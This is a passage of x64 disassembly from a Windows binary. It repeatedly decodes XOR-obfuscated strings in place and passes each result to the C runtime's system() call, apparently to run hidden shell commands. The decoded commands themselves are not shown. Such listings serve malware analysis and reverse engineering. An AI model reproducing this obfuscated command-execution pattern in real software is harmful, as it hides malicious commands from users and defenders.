movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140064700
cmp r8d, 0x96
jge 0x140064834
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140064800
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8233]
lea rcx, [rbp + 0x65]
mov byte [rbp + 0x65], al
call fcn.14007d7e0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400649b4
mov r8d, esi
cmp r15d, 2
jl 0x140064979
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140064880
cmp r8d, 0x96
jge 0x1400649b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140064980
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6fb9]
lea rcx, [rbp + 0x66]
mov byte [rbp + 0x66], al
call fcn.14007d870
mov r10, rax
cmp byte [rax + 0x7a], 0
je 0x140064b31
mov r8d, esi
cmp r15d, 2
jl 0x140064af3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140064a00
cmp r8d, 0x7b
jge 0x140064b31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x7b
jl 0x140064b00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x731a]
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x67], al
call fcn.14007d8f0
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140064cb1
mov r8d, esi
cmp r15d, 2
jl 0x140064c73
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140064b80
cmp r8d, 0x7d
jge 0x140064cb1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x140064c80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9769]
lea rcx, [rbp + 0x68]
mov byte [rbp + 0x68], al
call fcn.14007d960
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140064e34
mov r8d, esi
cmp r15d, 2
jl 0x140064df9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x140064d00
cmp r8d, 0xa1
jge 0x140064e34
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x140064e00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x83f6]
lea rcx, [rbp + 0x69]
mov byte [rbp + 0x69], al
call fcn.14007d9e0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140064fb4
mov r8d, esi
cmp r15d, 2
jl 0x140064f79
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140064e80
cmp r8d, 0x97
jge 0x140064fb4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140064f80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8ceb]
lea rcx, [rbp + 0x6a]
mov byte [rbp + 0x6a], al
call fcn.14007da70
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x140065134
mov r8d, esi
cmp r15d, 2
jl 0x1400650f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140065000
cmp r8d, 0x9c
jge 0x140065134
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x140065100
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa060]
lea rcx, [rbp + 0x6b]
mov byte [rbp + 0x6b], al
call fcn.14007db00
mov r10, rax
cmp byte [rax + 0xad], 0
je 0x1400652b4
mov r8d, esi
cmp r15d, 2
jl 0x140065279
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140065180
cmp r8d, 0xae
jge 0x1400652b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xae
jl 0x140065280
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x848d]
lea rcx, [rbp + 0x6c]
mov byte [rbp + 0x6c], al
call fcn.14007db90
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140065434
mov r8d, esi
cmp r15d, 2
jl 0x1400653f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140065300
cmp r8d, 0x97
jge 0x140065434
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140065400
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9131]
lea rcx, [rbp + 0x6d]
mov byte [rbp + 0x6d], al
call fcn.14007dc20
mov r10, rax
cmp byte [rax + 0x9d], 0
je 0x1400655b4
mov r8d, esi
cmp r15d, 2
jl 0x140065579
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140065480
cmp r8d, 0x9e
jge 0x1400655b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9e
jl 0x140065580
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7e23]
lea rcx, [rbp + 0x6e]
mov byte [rbp + 0x6e], al
call fcn.14007dcc0
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140065734
mov r8d, esi
cmp r15d, 2
jl 0x1400656f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140065600
cmp r8d, 0x93
jge 0x140065734
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140065700
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8d87]
lea rcx, [rbp + 0x6f]
mov byte [rbp + 0x6f], al
call fcn.14007dd50
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x1400658b4
mov r8d, esi
cmp r15d, 2
jl 0x140065879
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140065780
cmp r8d, 0x9c
jge 0x1400658b4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x140065880
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8ff7]
lea rcx, [rbp + 0x70]
mov byte [rbp + 0x70], al
call fcn.14007dde0
mov r10, rax
cmp byte [rax + 0x9c], 0
je 0x140065a34
mov r8d, esi
cmp r15d, 2
jl 0x1400659f9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140065900
cmp r8d, 0x9d
jge 0x140065a34
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x9d
jl 0x140065a00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x94e9]
lea rcx, [rbp + 0x71]
mov byte [rbp + 0x71], al
call fcn.14007de80
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140065bb6
mov r8d, esi
cmp r15d, 2
jl 0x140065b70
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
